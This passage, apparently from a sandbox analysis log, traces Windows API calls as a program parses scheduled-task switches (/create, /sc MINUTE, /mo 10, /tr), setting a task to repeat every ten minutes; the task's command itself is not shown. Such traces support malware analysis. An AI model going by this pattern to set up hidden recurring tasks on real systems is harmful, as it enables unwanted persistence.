| out: _Buffer="|sc|") returned 4 [0105.196] lstrlenW (lpString="|?|") returned 3 [0105.196] lstrlenW (lpString="|sc|") returned 4 [0105.196] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.196] lstrlenW (lpString="s") returned 1 [0105.196] lstrlenW (lpString="s") returned 1 [0105.196] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.196] lstrlenW (lpString="sc") returned 2 [0105.196] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.196] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|s|") returned 3 [0105.196] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|sc|") returned 4 [0105.196] lstrlenW (lpString="|s|") returned 3 [0105.196] lstrlenW (lpString="|sc|") returned 4 [0105.196] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.196] lstrlenW (lpString="u") returned 1 [0105.196] lstrlenW (lpString="u") returned 1 [0105.196] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.197] lstrlenW (lpString="sc") returned 2 [0105.197] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.197] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|u|") returned 3 [0105.197] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|sc|") returned 4 [0105.197] lstrlenW (lpString="|u|") returned 3 [0105.197] lstrlenW (lpString="|sc|") returned 4 [0105.197] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.197] lstrlenW (lpString="p") returned 1 [0105.197] lstrlenW (lpString="p") returned 1 [0105.197] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.197] lstrlenW (lpString="sc") returned 2 [0105.197] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.197] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|p|") returned 3 [0105.197] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|sc|") returned 4 [0105.197] lstrlenW (lpString="|p|") returned 3 [0105.197] lstrlenW (lpString="|sc|") returned 4 [0105.197] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.197] lstrlenW (lpString="ru") returned 2 [0105.197] lstrlenW (lpString="ru") returned 2 [0105.197] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.198] lstrlenW (lpString="sc") returned 2 [0105.198] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.198] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|ru|") returned 4 [0105.198] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|sc|") returned 4 [0105.198] lstrlenW (lpString="|ru|") returned 4 [0105.198] lstrlenW (lpString="|sc|") returned 4 [0105.198] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0105.198] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.198] lstrlenW (lpString="rp") returned 2 [0105.198] lstrlenW (lpString="rp") returned 2 [0105.198] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.198] lstrlenW (lpString="sc") returned 2 [0105.198] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.198] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|rp|") returned 4 [0105.198] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|sc|") returned 4 [0105.198] lstrlenW (lpString="|rp|") returned 4 [0105.198] lstrlenW (lpString="|sc|") returned 4 [0105.198] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0105.198] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.198] lstrlenW (lpString="sc") returned 2 [0105.198] lstrlenW (lpString="sc") returned 2 [0105.198] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.199] lstrlenW (lpString="sc") returned 2 [0105.199] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.199] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|sc|") returned 4 [0105.199] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|sc|") returned 4 [0105.199] lstrlenW (lpString="|sc|") returned 4 [0105.199] lstrlenW (lpString="|sc|") returned 4 [0105.199] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0105.199] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.199] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.199] lstrlenW (lpString="MINUTE") returned 6 [0105.199] lstrlenW (lpString="-/") returned 2 [0105.199] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0105.199] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.199] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.199] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.199] lstrlenW (lpString="MINUTE") returned 6 [0105.199] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0105.199] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.199] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.199] GetProcessHeap () returned 0x2008f450000 [0105.199] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x18) returned 0x2008f45ac90 [0105.199] _memicmp (_Buf1=0x2008f45ac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.199] lstrlenW (lpString="MINUTE") returned 6 [0105.200] GetProcessHeap () returned 0x2008f450000 [0105.200] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0xe) returned 0x2008f45aaf0 [0105.200] lstrlenW (lpString="MINUTE") returned 6 [0105.200] lstrlenW (lpString=" \x09") returned 2 [0105.200] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0105.200] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0105.200] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0105.200] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0105.200] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0105.200] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0105.200] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0105.200] GetLastError () returned 0x0 [0105.200] lstrlenW (lpString="MINUTE") returned 6 [0105.200] lstrlenW (lpString="MINUTE") returned 6 [0105.200] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.200] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.200] lstrlenW (lpString="/mo") returned 3 [0105.200] lstrlenW (lpString="-/") returned 2 [0105.200] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0105.200] lstrlenW (lpString="create") returned 6 [0105.200] lstrlenW (lpString="create") returned 6 [0105.200] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.200] lstrlenW (lpString="mo") returned 2 [0105.201] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.201] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|create|") returned 8 [0105.201] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|mo|") returned 4 [0105.201] lstrlenW (lpString="|create|") returned 8 [0105.201] lstrlenW (lpString="|mo|") returned 4 [0105.201] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0105.201] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.201] lstrlenW (lpString="?") returned 1 [0105.205] lstrlenW (lpString="?") returned 1 [0105.205] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.205] lstrlenW (lpString="mo") returned 2 [0105.205] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.205] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|?|") returned 3 [0105.205] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|mo|") returned 4 [0105.205] lstrlenW (lpString="|?|") returned 3 [0105.205] lstrlenW (lpString="|mo|") returned 4 [0105.205] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.206] lstrlenW (lpString="s") returned 1 [0105.206] lstrlenW (lpString="s") returned 1 [0105.206] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.206] lstrlenW (lpString="mo") returned 2 [0105.206] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.206] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|s|") returned 3 [0105.206] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|mo|") returned 4 [0105.206] lstrlenW (lpString="|s|") returned 3 [0105.206] lstrlenW (lpString="|mo|") returned 4 [0105.206] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.206] lstrlenW (lpString="u") returned 1 [0105.206] lstrlenW (lpString="u") returned 1 [0105.206] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.206] lstrlenW (lpString="mo") returned 2 [0105.206] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.206] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|u|") returned 3 [0105.206] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|mo|") returned 4 [0105.206] lstrlenW (lpString="|u|") returned 3 [0105.206] lstrlenW (lpString="|mo|") returned 4 [0105.206] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.206] lstrlenW (lpString="p") returned 1 [0105.206] lstrlenW (lpString="p") returned 1 [0105.206] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.206] lstrlenW (lpString="mo") returned 2 [0105.206] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.206] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|p|") returned 3 [0105.206] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|mo|") returned 4 [0105.207] lstrlenW (lpString="|p|") returned 3 [0105.207] lstrlenW (lpString="|mo|") returned 4 [0105.207] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.207] lstrlenW (lpString="ru") returned 2 [0105.207] lstrlenW (lpString="ru") returned 2 [0105.207] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.207] lstrlenW (lpString="mo") returned 2 [0105.207] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.207] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|ru|") returned 4 [0105.207] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|mo|") returned 4 [0105.207] lstrlenW (lpString="|ru|") returned 4 [0105.207] lstrlenW (lpString="|mo|") returned 4 [0105.207] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0105.207] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.207] lstrlenW (lpString="rp") returned 2 [0105.207] lstrlenW (lpString="rp") returned 2 [0105.207] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.207] lstrlenW (lpString="mo") returned 2 [0105.207] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.207] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|rp|") returned 4 [0105.207] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|mo|") returned 4 [0105.207] lstrlenW (lpString="|rp|") returned 4 [0105.207] lstrlenW (lpString="|mo|") returned 4 [0105.207] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0105.207] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.207] lstrlenW (lpString="sc") returned 2 [0105.208] lstrlenW (lpString="sc") returned 2 [0105.208] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.208] lstrlenW (lpString="mo") returned 2 [0105.208] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.208] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|sc|") returned 4 [0105.208] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|mo|") returned 4 [0105.208] lstrlenW (lpString="|sc|") returned 4 [0105.208] lstrlenW (lpString="|mo|") returned 4 [0105.208] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0105.208] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.208] lstrlenW (lpString="mo") returned 2 [0105.208] lstrlenW (lpString="mo") returned 2 [0105.208] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.208] lstrlenW (lpString="mo") returned 2 [0105.208] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.208] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|mo|") returned 4 [0105.208] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|mo|") returned 4 [0105.208] lstrlenW (lpString="|mo|") returned 4 [0105.208] lstrlenW (lpString="|mo|") returned 4 [0105.208] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0105.208] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.208] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.208] lstrlenW (lpString="10") returned 2 [0105.208] lstrlenW (lpString="-/") returned 2 [0105.208] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0105.208] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.208] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.208] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.209] lstrlenW (lpString="10") returned 2 [0105.209] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0105.209] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.209] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.209] _memicmp (_Buf1=0x2008f45ac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.209] lstrlenW (lpString="10") returned 2 [0105.209] lstrlenW (lpString="10") returned 2 [0105.209] lstrlenW (lpString=" \x09") returned 2 [0105.209] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0105.209] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0105.209] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0105.209] GetLastError () returned 0x0 [0105.209] lstrlenW (lpString="10") returned 2 [0105.209] lstrlenW (lpString="10") returned 2 [0105.209] GetProcessHeap () returned 0x2008f450000 [0105.209] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x6) returned 0x2008f454370 [0105.209] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.209] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.209] lstrlenW (lpString="/tr") returned 3 [0105.209] lstrlenW (lpString="-/") returned 2 [0105.209] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0105.209] lstrlenW (lpString="create") returned 6 [0105.209] lstrlenW (lpString="create") returned 6 [0105.209] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.209] lstrlenW (lpString="tr") returned 2 [0105.209] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.209] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|create|") returned 8 [0105.209] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tr|") returned 4 [0105.209] lstrlenW (lpString="|create|") returned 8 [0105.209] lstrlenW (lpString="|tr|") returned 4 [0105.210] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0105.210] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.210] lstrlenW (lpString="?") returned 1 [0105.210] lstrlenW (lpString="?") returned 1 [0105.210] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.210] lstrlenW (lpString="tr") returned 2 [0105.210] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.210] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|?|") returned 3 [0105.210] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tr|") returned 4 [0105.210] lstrlenW (lpString="|?|") returned 3 [0105.210] lstrlenW (lpString="|tr|") returned 4 [0105.210] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.210] lstrlenW (lpString="s") returned 1 [0105.210] lstrlenW (lpString="s") returned 1 [0105.210] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.210] lstrlenW (lpString="tr") returned 2 [0105.210] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.210] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|s|") returned 3 [0105.210] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tr|") returned 4 [0105.210] lstrlenW (lpString="|s|") returned 3 [0105.210] lstrlenW (lpString="|tr|") returned 4 [0105.210] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.210] lstrlenW (lpString="u") returned 1 [0105.210] lstrlenW (lpString="u") returned 1 [0105.210] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.210] lstrlenW (lpString="tr") returned 2 [0105.210] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.211] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|u|") returned 3 [0105.211] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tr|") returned 4 [0105.211] lstrlenW (lpString="|u|") returned 3 [0105.211] lstrlenW (lpString="|tr|") returned 4 [0105.211] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.211] lstrlenW (lpString="p") returned 1 [0105.211] lstrlenW (lpString="p") returned 1 [0105.211] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.211] lstrlenW (lpString="tr") returned 2 [0105.211] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.211] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|p|") returned 3 [0105.211] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tr|") returned 4 [0105.211] lstrlenW (lpString="|p|") returned 3 [0105.211] lstrlenW (lpString="|tr|") returned 4 [0105.211] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.211] lstrlenW (lpString="ru") returned 2 [0105.211] lstrlenW (lpString="ru") returned 2 [0105.211] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.211] lstrlenW (lpString="tr") returned 2 [0105.211] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.211] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|ru|") returned 4 [0105.211] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tr|") returned 4 [0105.211] lstrlenW (lpString="|ru|") returned 4 [0105.211] lstrlenW (lpString="|tr|") returned 4 [0105.211] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0105.211] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.211] lstrlenW (lpString="rp") returned 2 [0105.211] lstrlenW (lpString="rp") returned 2 [0105.212] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.212] lstrlenW (lpString="tr") returned 2 [0105.212] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.212] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|rp|") returned 4 [0105.212] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tr|") returned 4 [0105.212] lstrlenW (lpString="|rp|") returned 4 [0105.212] lstrlenW (lpString="|tr|") returned 4 [0105.212] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0105.212] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.212] lstrlenW (lpString="sc") returned 2 [0105.212] lstrlenW (lpString="sc") returned 2 [0105.212] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.212] lstrlenW (lpString="tr") returned 2 [0105.212] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.212] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|sc|") returned 4 [0105.212] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tr|") returned 4 [0105.212] lstrlenW (lpString="|sc|") returned 4 [0105.212] lstrlenW (lpString="|tr|") returned 4 [0105.212] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0105.212] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.212] lstrlenW (lpString="mo") returned 2 [0105.212] lstrlenW (lpString="mo") returned 2 [0105.212] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.212] lstrlenW (lpString="tr") returned 2 [0105.212] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.212] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|mo|") returned 4 [0105.212] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tr|") returned 4 [0105.213] lstrlenW (lpString="|mo|") returned 4 [0105.213] lstrlenW (lpString="|tr|") returned 4 [0105.213] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0105.213] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.213] lstrlenW (lpString="d") returned 1 [0105.213] lstrlenW (lpString="d") returned 1 [0105.213] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.213] lstrlenW (lpString="tr") returned 2 [0105.213] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.213] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|d|") returned 3 [0105.213] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tr|") returned 4 [0105.213] lstrlenW (lpString="|d|") returned 3 [0105.213] lstrlenW (lpString="|tr|") returned 4 [0105.213] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.213] lstrlenW (lpString="m") returned 1 [0105.213] lstrlenW (lpString="m") returned 1 [0105.213] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.213] lstrlenW (lpString="tr") returned 2 [0105.213] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.213] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|m|") returned 3 [0105.213] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tr|") returned 4 [0105.213] lstrlenW (lpString="|m|") returned 3 [0105.213] lstrlenW (lpString="|tr|") returned 4 [0105.213] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.213] lstrlenW (lpString="i") returned 1 [0105.213] lstrlenW (lpString="i") returned 1 [0105.213] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.213] lstrlenW (lpString="tr") returned 2 [0105.214] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.214] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|i|") returned 3 [0105.214] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tr|") returned 4 [0105.214] lstrlenW (lpString="|i|") returned 3 [0105.214] lstrlenW (lpString="|tr|") returned 4 [0105.214] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.214] lstrlenW (lpString="tn") returned 2 [0105.214] lstrlenW (lpString="tn") returned 2 [0105.214] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.214] lstrlenW (lpString="tr") returned 2 [0105.214] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.214] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tn|") returned 4 [0105.214] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, 